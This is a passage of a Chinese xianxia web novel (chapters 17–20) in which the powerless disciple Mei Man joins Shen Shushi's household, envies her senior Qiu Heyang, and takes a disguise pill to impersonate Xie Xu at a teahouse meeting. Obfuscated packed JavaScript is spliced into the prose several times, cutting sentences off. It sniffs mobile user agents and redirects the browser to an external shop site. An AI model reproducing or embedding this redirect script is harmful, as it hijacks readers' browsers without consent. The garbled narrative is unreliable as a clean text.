性子冷淡点的那个扯了把阮溪桐,说:“她都说不要了,还杵在这儿做什么,当桩子?走罢,我姐说这两天沈仙师常来,不能在这儿待太久,要是被他看见,问起功课怎么办,走。” “好吧。”阮溪桐收回册子,“那梅满,你好好照顾自己,我俩下次再来看你。” 她还是那副乐呵呵的模样,像是察觉不到梅满的回避一样。表情也自然,看得出来不是装的。 梅满了然,像她这类人多半打小就没吃过苦头,往往有着不忍直视的天真,以为对错就是炒菜的时候有没有把糖误当成盐,也能心大到忽视别人的恶意。 总之,和她不是一路人,也没有相交的必要。 梅满目送她俩离开,下午,师姐来帮她检查身体。 师姐忽然提起:“梅师妹,上午有两个师妹来看过你吗?” 梅满想到那个女修说过她姐别让她在这儿待太久,便说:“是,是师姐你的妹妹?” “对,前两天就来问我能不能来看你。”师姐托起梅满的一条胳膊,往里灌注灵力,笑着问她,“看样子你们玩得不错嘛,是朋友?” 梅满低着脑袋应道:“不是,不是很熟。” 啧,这俩姐妹还真是天差地别的性格。 师姐愣了愣:“哦,这样吗,我还以为……” 这时,有个刚进医谷的医修焦头烂额地跑进来,手里还拿着张药方,一进门就喊:“师姐,有空吗,能不能帮我看下这张药方有没有问题。” “什么?我瞧瞧。”师姐边捏着梅满的胳膊,边探头去瞧那张药方。 她是个很有耐心的人,做事认真,心思细腻,对人的态度也很友好。 医谷里很多医修常来问她问题,来这儿看病的人也爱找她。 梅满眼也不眨地盯着他俩,看着她如何耐心地指出问题,又温声细语鼓励那个医修。 不知道为什么,她总会让梅满想到母亲。 其实这有些荒唐,因为她根本没多少关于母亲的记忆,连她长什么样都记不清楚。在梅家的时候,她不怎么来看她,去了秋家,就更不用说了。 等那个医修走了,师姐开始帮梅满检查腿骨。 梅满坐在椅子上面,低头看她头顶的发旋。 她忽然问:“你对谁都这样?” 师姐一顿,抬头:“什么?” “就是像刚才那样,很有耐心,不会发火,总是温温和和的——你对谁都这样吗?” 师姐笑:“怎么可能,谁都有脾气。” “可我没见过。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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梅满接过那本簿册,翻了翻,发现开头提到的都是些基础类的仙草录和炼丹丹书,越往后越难懂。 她简直不敢相信。 竟然要读这么多书,等看完了,她不得都老死了? 沈疏时又道:“本君收徒不多,你前面还有三位师兄,其中一个在外游历,一个下山采买去了,另一个下午会过来,你应当也认识。” 闻言,梅满翻书的动作顿住,忽然有了种不好的预感。 这预感越来越强烈,直到她见到了他口中所谓的“师兄”。 “小梅,真是你啊。”秋鹤扬掀开帘子进门,“师尊先前说收你为徒,我心底高兴,但还有些不信呢,以为他说着唬我玩儿的,毕竟从来没有仙君直接从外门院收亲传弟子的习俗。” 梅满愣在那儿,脑子里只想得起两件事。 一是沈疏时告诉她,他收徒严苛,尤为看重品行。 二是—— 秋鹤扬上前,笑容灿烂,恭恭敬敬叫了声“师尊”。 二是,他在她面前动不动喊他师尊“老东西”的场景。 17.第 17 章 秋鹤扬成了与她一脉的师兄。 意识到这点,梅满一声不吭站在那儿,后背逐渐冒冷汗,完全无法接受。 她怎么也没想到,秋鹤扬的师尊竟然会是沈疏时。 看来是她小瞧了秋鹤扬表里不一的脾性,也高看了沈疏时认人的本事。 沈疏时不知道秋鹤扬私下里如何看待他,眼下神情肃然,问他:“鹤扬,本君交与你的符书看得如何?” 秋鹤扬摆出副好弟子的模样,笑说:“师尊还不放心我么,早看完了。这些天在练习五鬼搬运符,还挺好玩儿。” 沈疏时那冷峻的面容间多了些不赞许的无奈,他道:“此符凶险,极易叫鬼气腐蚀灵力,切莫当儿戏。” 秋鹤扬不以为意:“师尊尽可把心放进肚子里,我有分寸。要是在这种小事上跌了跟头,也太丢脸了。” 他说得轻快,沈疏时的脸色也略有和缓:“你一向勤勉好学,本君自是不担心——与其他同门相处得如何?” “好得很,常和他们一起去靶场练习箭术。” “不错。你师弟筑基不久,平日里也要多加指点。” “那是自然,大师兄不在,我多少也得帮他分担分担嘛。” 他俩你来我往地聊着,梅满在旁边低着脑袋听,心里酸到快要拧成皱巴巴的一团。 五鬼搬运符。 她听都没听过。 外门院也会教弟子画符,但听那些同门说,他们学的多是些低阶符箓。 她没有灵力,授课的那位师兄心思单纯,说话也直白,第一堂课就找到她:“梅师妹,课上你如果觉得无聊,可以看些其他书,不必拘谨。” 不必拘谨,在她看来就是告诉她:画了也是白画。 梅满翻过那本基础符书,看起来都很简单。 她不想表现得太在意这件事,因此从不用纸笔画,只拿脑子记。 等到了晚上跑去后山练剑,偶尔累了,她就会用树枝在泥巴地上画符。 画的时候,她经常会幻想。 比如辟邪符能迸出金光,化箭符可以变幻成一支支尖利的细箭,火符会燃烧出一簇簇火焰…… 对于期待的事,还没有得到结果前是最快乐的。 那些幻想会变成一个个五光十色的泡泡,飘啊飘,轻盈美妙。 然后在她落下最后一笔时,无声炸碎。 她画出的符形,仅是一个个嵌在泥巴地上的图案而已。 没有用,下一场雨就会消失无影。 梅满知道秋鹤扬的符术天赋高,在外门院的那帮修士对照着书费劲描摹符文时,他都已经能丢开纸笔,直接用灵力画符了。 她知道。 她从小就知道。 可眼下听他随意聊着一张她听都没听过的符,看他轻易就能得到沈疏时的认可,她却要费尽心思,才能换来一句“不错”,她还是免不了心生妒火。 那妒火烧着烈焰,烫得她五脏六腑皱缩成一团。还冒着发酸的白烟,呛得她连呼吸都不畅快。 她的肺腑成了火炉,燃烧着熊熊妒火,心脏每重重跳一次,便如同铸器的铁锤在捶打,最终铸出了无数个微小的,却又恶劣的念头。 忌恨他总这样自在,期盼他跌个跟头,渴望在他脸上看见怅然若失又痛苦的表情…… 光是想一想,她就舒畅到整颗心都变得轻松。 她想她的表情一定很扭曲,秋鹤扬却一无所知。 他看起来甚至很高兴,他抬起胳膊,大喇喇搭在她肩上,笑容像是外面的太阳那样清朗朗的。 梅满不知道到底有什么好开心的,脸色更阴沉。得亏她低着脑袋,还有额发挡着,才没表现出来。 “师尊,”秋鹤扬说,“既然现在我是小梅的师兄,那不如就我来带她,也好帮她更快熟悉主峰的生活。” 梅满听见这话,头皮都在发麻。 他在说什么啊,她不是拜沈疏时为师吗,为什么要他来带? 她简直不敢想,要是天天,每时每刻,每一瞬每一息都要看见他是何等风光,她的心底会流出怎样酸毒的汁。 那会把她给淹死的。 梅满急于拒绝,幸好沈疏时没这打算,率先道:“不必,她便留在此处。至于你,鹤扬,还有一事要你下山去办。” 秋鹤扬就不高兴了。 他还是笑吟吟的,搭在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16952211|191971||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 梅满肩上的胳膊却收紧不少,就算隔着衣袖,她也能感觉到他紧绷的肌肉。 他在生气,说出的话却是:“好啊,她留在这儿也好,正好还有不少东西要修炼——师尊要我下山去做什么?” 沈疏时说:“你去凡界一趟,本君昨日收到羽族尊君来信,说是前不久有羽族在凡界历劫,遗落了几片雷击仙羽,正是天地难寻的好药材。” “去凡界?那估计得花上一段时间了。”秋鹤扬忽然看梅满,“小梅,要不要随我一起去,难得的机会,也好四处玩一玩。” 修真界所在的地方也被称为“中灵界”,多是修士和妖魔居住。 普通凡人和一些不起眼的修士小家族则在凡界。 像梅满所在的梅家,就因为族中修士的修为普遍不高,住在凡界和中灵界交接的中洲大地。 对梅满这样凡人来说,这中灵界是根本无法前往的仙境。 因而她下意识抗拒,甚至恐惧他这提议。 要是去了凡界,就再没办法回来了怎么办。 她想也没想道:“不要。” 秋鹤扬表情没什么变化:“好,那下次再找机会,咱俩一起出去玩。” 梅满察觉到他没生气,悬着的心放了回去。 沈疏时也道:“正是,本君有其他事交代她做,你去罢。” 秋鹤扬就差点挂不住笑了。 梅满甚至听见他发出了很小很轻的啧声,她不知道这有什么值得生气的,明明刚才她拒绝他时还好好的,但她真怕他直接骂出句“老东西”。 不过他最终没发出脾气,只笑笑:“也好——小梅,等我回来。” “哦。”梅满干巴巴应了声,心绪漂浮不定。一会儿想如果她也有灵力,是不是就能下界去找什么类似“雷击仙羽”的好东西了,一会儿又幻想起藏书阁会是什么样子,一会儿又苦恼下一步该怎么走。 她不可能真在这冷清清的洞府里耗上十年,再孤零零回到凡界吧。 那怎么能叫她甘心呢? 她反反复复想着,直到秋鹤扬走了,都还有些心不在焉。 等沈疏时说要带她去看看藏书阁,她才定性回神。 18.第 18 章 沈疏时所说的“藏书阁”,是一栋三层高的木楼,看起来古老陈旧,一副饱经风霜的模样。 但走进去了又别有洞天。 这木楼应该是施了某种灵术,从外面看大小有限,里面竟一眼瞧不见尽头。 无数整齐排列的书架延伸过去,直到缩成蚂蚁似的小点。 梅满愣呆呆盯着那些书,心想这屋子打扫起来该多麻烦,要找到一本书又有多困难。 最重要的是,她简直不敢想这些书能卖多少钱! 沈疏时似乎猜到她在想什么,道:“这房中设有净尘阵法,日常不用打扫。你倘若要走,便锁好门。有些书化了灵,如果这房中没有人气,便爱乱跑,休叫它偷跑出去。” 梅满望向他。 发现他的表情依旧冷峻淡然时,她心里更酸了。 在她眼中堪称震撼的景象,放他那里也不过是稀松平常的事。 沈疏时从最左边的书架上取下一个簿子,递给她道:“你没有灵力,但在这簿子上写下书名,那本书便会自行飞来。” 他提及她没有灵力时,语气很自然,也坦率磊落。 可她是个听不得这些话的小人,他再怎么无意,这话也像是针一样刺耳,让她的心都要拧成一枚酸溜溜的苦果。 梅满闷闷“嗯”了声,接过毛笔和纸。在他的注视下,她不大自在地匆匆落笔。 但簿子上没有出现墨痕。 沈疏时很快反应过来:“这藏书阁中除本君外,鲜有其他人来。纸笔成精,也会认主。须取你一点血,会有些疼,忍耐片刻。待施了灵术,再替你疗伤——手。” 梅满下意识伸出左手,忽然想到掌心可能被掐出指印了,忙缩回去,换了右手。 沈疏时用灵力刺破她的指腹,再顺着指侧一碾,便挤出更多血。 他将她的血滴入了磨墨用的砚台里,疗好伤后,又取了点他自己的血,也滴入其中。 两道殷红的血逐渐相融,梅满看着,竟然从中尝到一点畸形的快意,好似她那些不堪的心思在缓慢侵蚀他,玷污了他。 沈疏时使了个灵诀,血便彻底浸入了砚台。 他重新蘸了墨,再让她用那个簿子。 梅满落下一笔,簿子果然能用了。 她看着墨痕,视线一移,落在沾满墨汁的毛笔尖上。 笔尖夹杂着几根已经没了墨的毛,是白色的,这让她无端想起那天沈疏时变成的白狼。 她脑子一抽,忽然问:“仙师,这笔是用狼毛做的吗?” 说完她就后悔了,他就算是狼妖,也不见得会拔自己的毛来做笔吧? 沈疏时沉默不言,想起的却是那天在她面前恢复人身,不着寸缕的狼狈模样。 “不是。”半晌他应道,“化出妖身一事,往后本君会与你解释,休要与旁人提起。” “……哦。” 学会取书后,沈疏时没有急着催促梅满开始修炼,反而给了她一些时间,让她打理一下二楼。 二楼不像一楼那样大到无边无际,和普通的楼阁差不多,除了书房、茶室等,还有两个闲置的房间。 房间里面本来很空,不过沈疏时十分用心,没一会儿就让傀儡仙仆送来了床铺等日常所需的东西。 这些大件物品他都置办好了,但梅满还得添置些零零碎碎的小东西,就趁着天还早,离开主峰,去了趟内门院的灵市。 外门院也有灵市,可跟这内门相比,简直像是村头或是城郊外临时支起来的小摊。 内门院的灵市就和座小型城镇差不多,从入口望过去,各类商铺鳞次栉比,简直看不见尽头。 梅满站在入口愣了足足一刻钟,脑海中只有一个想法,她绝对、绝对不要再回外门院。 往后几天,梅满都窝在藏书阁的二楼里看书。 其实她对制药炼丹没什么兴趣。 要说原因,那大概是因为她的性子本来就有些闷,炼制那些丹药灵药时,她只觉得枯燥乏味,感觉不到丝毫乐趣。 她更喜欢练剑。 剑挥出去的时候,似乎把她的一切不痛快也都斩断了。 要是她有灵力,或许也会喜欢灵术。 当然,这些都不重要了。 如果她想继续留在这里,就必须暂时舍弃掉一些东西,哪怕是她喜欢的。 梅满开始没日没夜地看书,饿了就吃一颗沈疏时给她的辟谷丹。 有时候她也会走神,反反复复思索着怎样才能拥有灵力。 就这样过了好几天,直到三月初七,谢序竟然找到了她。 他找来时,梅满正在清理藏书阁外的小院子。 虽然沈疏时布了净尘阵法,却没法阻止野草的生长。 这些杂草从砖缝里冒出来,郁郁葱葱的。 眼见天气逐渐变热,她怕有蛇,所以想提前清理一下。 梅满正拔掉一把草,忽然听见脚步声,原以为是沈疏时,头一抬,却看见谢序站在不远处。 她吓了一跳。 说实话,她这人根本就不讲同甘共苦的义气,骂她小人她也就当夸奖听。 因此她早把这人抛之脑后了。 但他怎么能找过来呢? 他拿帮助秋应岭的恩情换来进仙府的机会也就算了,这可是沈疏时的洞府。 他总不可能也帮了沈疏时吧。 比起这个,梅满更怕沈疏时发现她和谢序的关系,也怕谢序拆穿她。 她在他面前展露过太多不堪的一面。 那些阴暗的、恶劣的念头不知道被他听去了多少,要是被沈疏时知道,她就彻底完了。 梅满慌忙张望四周,确定沈疏时不在附近了,才压低声问他:“你怎么找到这儿来的,你来干什么?” 谢序道:“沈疏时收你为徒的消息,已经在整个仙府传开了。” 梅满暗自窃喜,表面上却装作无所谓:“哦,这么快啊,我都不知道。” “今日去外门院授课,我与他说,有东西要亲手交给你。” 梅满狐疑:“什么东西?” “这仅是托辞。” 梅满更不解了,警惕看着他,完全一副以小人之心度君子之腹的架势,唯恐他毁了她的新生活。 她连声质问:“那你来找我做什么,你有什么打算,要干什么?别不是也想拜师。” 出乎意料的,谢序只说了句:“今天是初七。” 梅满蹙眉:“所以呢?” 他面无表情:“三月初七。” 梅满一脸疑惑:“你跑过来就是为了告诉我这个?” 这次轮到他露出些不解的神情了。 “今天是初七。”他又重复一遍,并道,“午时,寻仙楼吃茶。” 他这么一说,梅满才想起来。 上月秋应岭让她帮忙给谢序带话,说是邀他三月初七午时,在山下的寻仙楼吃茶。 她更觉莫名其妙:“是啊,那就去呗。” 往她这儿跑算怎么一回事。 谢序颔首:“走罢。” 梅满也点头。 他折身离开,走出几步后又停下,回头看她。 梅满站在原地不动。 他也不动。 梅满:“……你干什么,扮桩子啊。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16955160|191971||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “不是要走吗?”谢序问。 “是啊,又没谁拦着你。” “你不走?” “我?我走什么,我——”梅满忽然停下,意识到他误会了什么,颇为古怪地笑了声,“你该不会以为是我约你吃茶吧。” 谢序不说话,显然是默认了。 “谢序,你在想什么!我怎么可能和你光明正大跑出去吃茶,我是疯了吗?”梅满一脸见鬼的表情,“那天是姓秋的要答谢你,要送你灵丹,叫你去吃茶的自然也是他啊。” 谢序微微怔住,神情间似有错愕,脸色也逐渐发白。 梅满看一眼天,琢磨着午时快到了,忙催促他:“你快去,秋应岭肯定在山下等着呢,别误了时辰。” “秋应岭……”谢序喃喃着念出这几字,似乎还没完全反应过来。 梅满点点头。 谢序紧绷着脸,倏然转身往外走:“我不会去。” “不会去?等等,你等等——”梅满几步上前,一把拉住他,慌了道,“你什么意思,你不是已经答应去了吗,现在反悔做什么,不许走,不许走!” 谢序侧脸看她,脸色比纸还白:“我是答应了,但我以为是——总之,我不会去。” 梅满语无伦次:“为什么不去?你救了他,他要答谢你,指不定要给你多少好处。你是傻吗,摆在眼前的好东西都不要。况且,况且我都告诉他你会去了,你不去,那我怎么办。” “恩情早已经还清了,何须还这样牵扯。”谢序眉头微蹙,话说得格外直白,“我对此人没有半分好感,吃茶与吃污水无异,只教人作呕。” 话落,他抽出手,头也不回地走了。 “谢序!”梅满叫他。 他却头也不回,走得比来时还快。 “谢序!谢序!” 完了。 梅满脸色发白。 虽然她时常想坑害姓秋的,但也只会做些不让他抓着把柄的坏事。 即便被发现了,也可以想办法找其他人帮忙挡灾——要么秋二,要么小姐,可现在秋二下山了,小姐又不知道在哪儿,沈疏时那儿她还要装装相,不可能找他。 要是姓秋的觉得自己被耍了,来找她算账,那她岂不是完了。 梅满心里更慌,恨不得直接把谢序拽去寻仙楼。 可他跑得比谁都快,转眼就不见踪影。 她往前跑了两步,又停下。 要她为了这种事去求谢序,断然不可能。 就算知道是因为她没说清楚才出了这岔子,她也不想拉下面子求他。 这个祸害!自私鬼!混账!她暗暗骂着,急得在原地打转。 但忽地,她猛然抬头,看向不远处的一座楼阁。 上书“炼丹房”。 这些天,梅满偶尔会往炼丹房跑。 那里面储放着很多珍贵的药材,她不再像之前那样只能看书,而是可以对照着实物,来研究它的模样、气味和药性。 除了药材,还有沈疏时炼出来的数不尽的丹药,他还让她自取辟谷丹用。 她记得里面有一味丹药,是易容丹。 哪怕凡人服用,也可以改变形貌。 她的心重重跳了下。 要是她装成谢序的样子,去寻仙楼跑一趟呢? 只要去走一趟,如果秋应岭在那儿,便和他见一面,说清楚不需要任何谢礼就走。 前后甚至不需要一刻钟,应该不会出什么岔子。 这样既不用求谢序,还解决了麻烦,说不定还能像那枚养灵大补丹一样,捞着点好处。 梅满更为心动,进了炼丹房。 19.第 19 章 梅满站在镜子面前,想着谢序的模样,随后吃下一粒易容丹。 丹药没什么味道,就一点浅浅的香味,可紧随而至的变化却很奇妙。 她能清楚感觉到自己的骨头在变形、移位,撑得皮肉也逐渐扭曲。 不过短短几瞬,她就变成了“谢序”。 梅满盯着镜子里的人,既熟悉,又陌生。 是谢序的脸,简直没有丝毫差别。 但他断然不会做出这样的表情—— 头略微低着,打量人时通常只抬起眼帘,从眼睫下漏出一点目光瞥人。 眉头微拢,唇也抿着,显得很阴郁,一副不爱搭理人的样子。 “……” 她平常是这样看人的吗? 怎么和话本里的鬼差不多。 梅满凑近镜子细瞧,捏了把紧绷着的颊肉。 她还是头回这样仔细打量自己的表情,竟然是借着别人的脸。 可正因为眼下的神情和谢序平时的差别太大了,她才会发现这些细小的端倪。 好神奇。 梅满心里突然冒出个念头—— 要是一颗灵丹就能让身体发生这样大的变化,那灵根呢?是不是也能硬生生塑造出来。 霎时间,她的脑子嗡鸣一声,好像有针在拨动。 不过很快她就冷静下来。 这想法未免也太荒谬了,她从来没听说过还能自己做出灵根的。 梅满揉了把脸,不再想这事,试图摆出谢序的表情。 头稍抬,眉头舒展开,脸也往下拉。 还真像。 她左右端详着这张脸,很是满意。 同样一张脸,放她身上果然都要更帅一点。 趁着时辰还没到,梅满连忙下山。 她赶到寻仙楼的时候,离午时还差一点。 说清来意后,店里的伙计直接带她去了二楼的雅间。 梅满深吸一口气,推门而入。 一进门,她就闻见股没法忽视的血味。 她扫视一圈,看见正在斟茶的秋应岭。 打从他出去做任务,这十几天里梅满就一直没见过他。 十几天的工夫,之前他还一副高高在上的公子相,现在竟然多了一身伤。 颈子和胳膊都缠着渗血的纱布,从微敞的衣领口能隐约看见他的上身也裹了一圈白。 关键他是修士,要是普通伤口,一个灵术就可以解决了。 现在弄成这样,明显是伤得格外严重。 看他这副惨不忍睹的样,梅满忍不住幸灾乐祸,差点偷笑出声。 这样奸滑的人,也能跌这么大一跟头。 唉,只可惜她没撞见现场。 秋应岭看见她,从容笑道:“谢师弟,莫要客气,请坐。” 梅满晓得秋应岭性子奸猾,待久了恐怕会露馅儿。 于是她估摸着谢序的脾气,语气冷淡道:“不必,此番前来是想说清楚,恩情已清,两不相欠。秋师兄屡次三番答谢,反而叫我心有负累。” 她说完就要走,谁知秋应岭道:“谢师弟不用拘谨,这回请你来,只是想说几句话罢了。等我说完,师弟再走也不迟呵。” 那可就太迟了! 梅满才不想帮他俩传话,正要拒绝,忽看见他取出一个单色釉的小罐,放在了桌上。 ? 什么东西? 梅满顿了步。 就迟疑这么一会儿,她便听见他说:“这是凤凰神血、上古龙骨、分神期修士的灵力和万年血莲所制的仙丹,世间仅此一枚。” 梅满彻底转过身,出神盯着那个小罐子。 就算她从没听说过他提到的那些药材,可也听得出这仙丹有多珍贵。 什么凤凰龙骨万年血莲的,一听就是好玩意儿。 她这人贪财,不免多看了几眼。 “我知晓谢师弟你灵根受损,灵脉残缺,寻常方法断然治不了。倘若经年累月地蹉跎下去,便与凡人无异。就算能留在杂役院,也终有寿命了尽的一天。”秋应岭的手抵在那个小罐子上,往前一推,“但如果服用了这丹药,就能修复你的灵根,还会助你修为大增。” 梅满愣住了,脑子里好像被人塞了炮仗,噼里啪啦炸得直响。 他到底在说什么啊。 谢序的灵根不是五岁的时候就已经毁得差不多了吗,为什么还能治好? 还有,整个谢家都想不出办法,就这一枚丹药便能见效? 况且谢序只是顺手帮了他一把,这姓秋的又送他进仙府,又拿这样好的东西答谢他,他个狼心狗肺的烂货什么时候这么知道感恩了。 要能这样,她就该直接花钱请几个厉害的修士把秋应岭揍一顿,最好打到命悬一线,再跑出来救他,说不定也能拿到这样的宝贝。 但是—— 等等。 凤凰血,龙骨,血莲…… 这些药为什么能治疗灵根灵脉?既然能治疗,那是不是也能直接造出来? 几味药来回在她脑子里打转,她试图琢磨出这些灵材的药性,以及和治疗灵根之间的关系。 梅满正想着,秋应岭竟又说出更让她心痛的话语:“送你这枚丹药是师尊的意思,他另有话要我转达你。师弟,你这样好的根骨,实在不该长久困在外门院。倘若你愿意,师尊有意收你为亲传弟子,只消你点头,今日便能随我去主峰。” 闻言,梅满简直要扭曲成一团奇形怪状的泥巴,狠狠塞进他嘴里,堵住那张胡说八道的嘴。 什么啊,什么啊!! 秋应岭的师尊可是剑尊,是这整个仙府的宗主,他竟然要收谢序为徒? 凭什么,谢序哪里展现过一点天资,他甚至连外门院弟子都算不上。 她的心里莫名涌起一股巨大的慌惧,她也说不清那是什么滋味,可就好像只要谢序能拥有这些好处,她便会失去所有东西一样。 梅满不知道为什么会产生这种情绪,只感觉整颗心都在膨胀,仿佛随时都会炸开。 她的呼吸逐渐变得急促,看向秋应岭的眼神也开始飘忽不定,血 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16964862|191971||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 液尽数往脑袋上涌,四肢反而僵麻。 秋应岭笑眯眯看着她,他还是那样,仿佛能掌握一切变动,胸有成竹的模样。 他问她:“谢师弟,你怎么想?” 她怎么想,她该怎么想?她恨不得把这整个寻仙楼都炸了! 但就在她的情绪冲到顶点时,角落里忽然传来一声温柔的唤叫:“应岭。” 血液倏然褪去,梅满回神。 这房间里有别人?! 她猛地望向角落,那里放着块屏风,声音就是打屏风后面传出来的。 是谁? 谁藏在那儿? 听声音是个年轻男人,她不知道他是谁,可下一瞬便听见他说:“抓住此人。” ——她被发现了。 这念头从脑中一掠而过,梅满的心瞬间提到嗓子眼儿,慌惧攫取住她的意识,催生着她的一切本能反应。 她猛地抓起旁边桌上的花瓶,往秋应岭身上砸去。 他反应也快,瞬间用灵术定住那个花瓶。 只可惜她出手向来不讲道德和礼节,顺手又抄起扫帚和几个瓷瓶,狠狠丢掷出去。 秋应岭概是没料到“谢序”会这样出手,凭着本能定住第一个花瓶后,便怔了瞬。 正是这短短一息,他就被个瓷瓶打中额头,当时见血。 他轻嘶一声,眼睛眯了下。 梅满转身就跑,还不忘关门上锁,恨不得将他远远抛在后面。 她知道肯定跑不过秋应岭,他使个移步诀就能一步走多远。 而且谢序个子高,跑人群里十分显眼,简直是移动的活靶子。 只有躲。 这时候没灵根的唯一好处就凸显出来了,她没灵力,只要藏得好,他便很难捕捉到她的踪迹。 梅满四下张望着,慌急找躲处。 眼下在二楼,多是供顾客吃喝的雅座包厢,大部分都紧闭房门,且门口设有法阵,没法擅闯。 她好不容易找着一扇开着的门,盯准了方向,正要冲进去,楼梯拐角处忽然上来一人。 竟然是谢序。 他也看见了她,顿住。 梅满倏然僵怔,与此同时,她听见楼下伙计说:“嘿,也忒稀奇。刚才还问我秋仙长的雅间儿怎么走,这会儿又来问一遭,这小子忘性怎恁大。” “你是谁。”谢序的手已经搭在了腰间的剑柄上——他使一把很旧的剑,剑锋却磨得锋利。 身后传来门锁掉落的声响。 梅满慌忙往后瞟一眼,眼见着门已经推开条缝,忙朝谢序摆手,压着声斥道:“是我啊,是我!你这个贱骨头,还想砍我不成!” 那易容丹毕竟是沈疏时炼制的,药效十分厉害。 谢序本来没认出她,剑都已经抽出一截了,寒光刺眼,听着声“贱骨头”,他稍怔,手顿在半空,冷冽的眉眼也略微舒展开。 梅满没时间和他解释了,慌忙躲去身旁的空房间,飞快又小声地合上门。 几乎是房门关上的同时,秋应岭从那边走出。 20.第 20 章 秋应岭半张脸全是血,一只眼睛眯着,嘴角也压得平直,另一只眼略微睁开,习惯挑着笑弧。 他道:“啊,谢师弟,还在这儿么。都跑出来了,怎么不干脆再走远点儿。可是丢这几个花瓶损了气力,一时走不动了?” 谢序看他似笑非笑,视线一移,又瞧见他手里还拎着个缺了口沾着血的花瓶。 他登时想到方才那个和他长得一模一样的人,还有那张表情慌急的脸。 “……”谢序沉默,把抽出一截的剑默默压回去。 半晌他道:“秋师兄。” “原来我是你师兄。”秋应岭掐诀弄干净脸上的血,额上赫然一道血口,他笑道,“既然没走,也得请教请教师弟,你这是什么意思,即便不答应,何至于直接动手。莫不是把我的头认作个锣鼓,走前还要敲一阵。” 他语气轻快,听起来简直像在打趣,谢序却硬生生听出了咬牙切齿的意味。 谢序不知道究竟发生了什么,只模糊推论出一些东西:梅满用某种法子假扮成了他的模样,不仅跑来赴约,还拿花瓶砸了秋应岭的头。 至于吃茶时发生了什么,秋应岭说的“答应”是指何事,为什么砸他,两人的矛盾闹到了哪一地步,他一概不晓。 他还在思索着如何回应,放在秋应岭眼里,便是十足的挑衅。 打了他,人跑了,却只跑出门,再大摇大摆站在走廊里等着他出来,还一声不吭憋不出一句话。 秋应岭丢下花瓶,不疾不徐道:“你要是没有滚出这仙府的打算,就回宗再谈。” 谢序:“方才有些心急,秋师兄先前说的事,我还要再想一想,再作答复。” 秋应岭笑了声:“谢师弟,你把我当作个傻子戏弄不成。” “我无意打伤师兄,只不过……”谢序默了瞬,有些艰难地开口,“只不过我偶尔脑子不清醒,容易犯疯症,是旧疾。” 秋应岭笑意稍僵。 梅满扒在房门口,听见这话,险些乐出声。 姓谢的这找的什么借口,该不会还要趁势装疯卖傻,和秋应岭打上一架吧。 她将耳朵贴在门上,仔细听着门外的动静。 秋应岭概是相信了这说辞,他问:“谢师弟要考虑多久?” “三天。” “好,那便三天。”秋应岭整衣,回身往房里走,斜挑的眼眸睨着他,“谢师弟,三天后可别再弄这种把戏,我虽是个好脾性,却也不是摊软泥做的。” “嗯。” 秋应岭径入房中,刚才这几番折腾,他身上的伤口又裂开了,血渗透纱布,连衣衫都被染红。 但他视若无睹,坐下斟茶道:“师尊方才何故要我拦他,左右已是这宗里的弟子,也逃不走。” “应岭,”屏风后的人语气温柔,“方才房中那人,果真是谢序么?” 秋应岭手一顿。 他微眯着眼,敛去笑,倏然想起方才在走廊里说话时,谢序的腰间佩了把剑。 而刚才在这雅间里砸他的人,身上却无剑。 茶水漫过杯沿,微小的流水声成了这房中唯一的动静。 轻缓,柔和,却如钝刀般磨着他的心绪。 方才他心有不快,是因“谢序”的僭越。 但到此时,他的心底才真正翻涌起一缕怒火,那是被戏耍,被谑弄的恼怒。 秋应岭放下茶盏,拨出一缕灵力。 房门“嘭”一声弹开,门外走廊中已经空无一人。 他仍旧保持着那副笑面,灵力却不受控制地泄出,周身威压失稳。 屏风后的人咳嗽几声,嗓音中隐显疲倦。 “应岭,休要心急。”他缓声说,“方才那人化身的本事不低,本君起先也不曾察觉。” “师尊的意思,是那人修为在分神期之上?”许是心觉这话荒谬,秋应岭发出声短促突兀的笑音,“哈……世间有这等修为的,屈指可数,那谢序却有面子,请得动这般厉害的人物。不掐灵诀,不用阵法,却使个花瓶砸人,果真是位心慈的前辈呵。” 屏风后的人浅笑:“应岭啊应岭,平日里聪颖不过,怎如今被小小谑弄一番,就失了理智?那人若真有这等修为,又何故遮掩躲藏。形貌而已,诀法或丹药,都能轻易改动,可是么?” 秋应岭敛容收笑,刹那间,却想起昨天刚得到的消息—— 鲜少收徒的沈疏时,突然将梅满收入门下。 